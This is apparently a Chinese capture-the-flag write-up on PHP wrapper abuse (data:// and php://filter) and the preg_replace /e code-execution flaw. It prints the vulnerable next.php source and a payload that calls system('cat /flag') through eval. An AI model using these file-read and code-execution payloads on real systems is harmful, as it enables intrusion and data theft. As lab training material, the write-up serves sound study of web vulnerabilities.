[BJDCTF2020]ZJCTF,不過如此(php偽協議,data偽協議,preg_replace /e漏洞)
偽協議常用在檔案包含漏洞中.
常見的檔案包含函式有:
include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile.
具體的函式功能可以參考.
偽協議的學習
通過data協議構造 data://text/plain,I have a dream
通過php協議構造 php://filter/convert.base64-encode/resource=next.php
訪問
得到next.php原始碼
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
接著是preg_replace /e模式下的漏洞.
這裡會在匹配成功後執行’strtolower("\1")‘操作.而""裡面的東西會解釋執行,而’\1’,即’\1’在正規表示式中表示第一個子匹配項.
具體可以參考
深入研究preg_replace與程式碼執行
構造payload
\S*=${getFlag()}&cmd=system(‘cat /flag’);(這裡不要把’;'忘了)
相關文章
- Php偽協議 入侵合約PHP協議
- PHP基礎知識——PHP偽協議PHP協議
- 【HITCON 2017】SSRFme——最簡單偽協議思路協議
- 【網路協議】IP協議、ARP協議、RARP協議協議
- RTSP協議、RTMP協議、HTTP協議的區別協議HTTP
- 【網路協議】UDP協議協議UDP
- [php]HTTP協議頭解析PHPHTTP協議
- php通過ftp協議上傳檔案PHPFTP協議
- Gossip協議也叫Epidemic協議(流行病協議)Go協議IDE
- IP協議(網路層協議)協議
- 協議協議
- 頁面連結跳轉--指定協議,半協議,無協議協議
- 【網路協議】TCP協議簡介協議TCP
- 路由協議與閘道器協議路由協議
- 淺談WebSocket協議、WS協議和WSS協議原理及關係Web協議
- TCP/IP協議常見漏洞型別TCP協議型別
- 二進位制協議 VS 文字協議協議
- 生成樹協議與多生成樹協議協議
- Memcached 協議協議
- mysql協議MySql協議
- raft協議Raft協議
- modbus協議協議
- HTTP 協議HTTP協議
- swift協議Swift協議
- http協議HTTP協議
- OSPF協議協議
- 【TLS協議】TLS協議
- XModem協議協議
- [HTTP協議]HTTP協議
- SNMP協議協議
- Kerberos協議ROS協議
- SMB協議協議
- CMPP協議協議
- SSH 協議協議
- SFTP協議FTP協議
- 雲協議協議
- XMPP協議協議
- SNMP 協議協議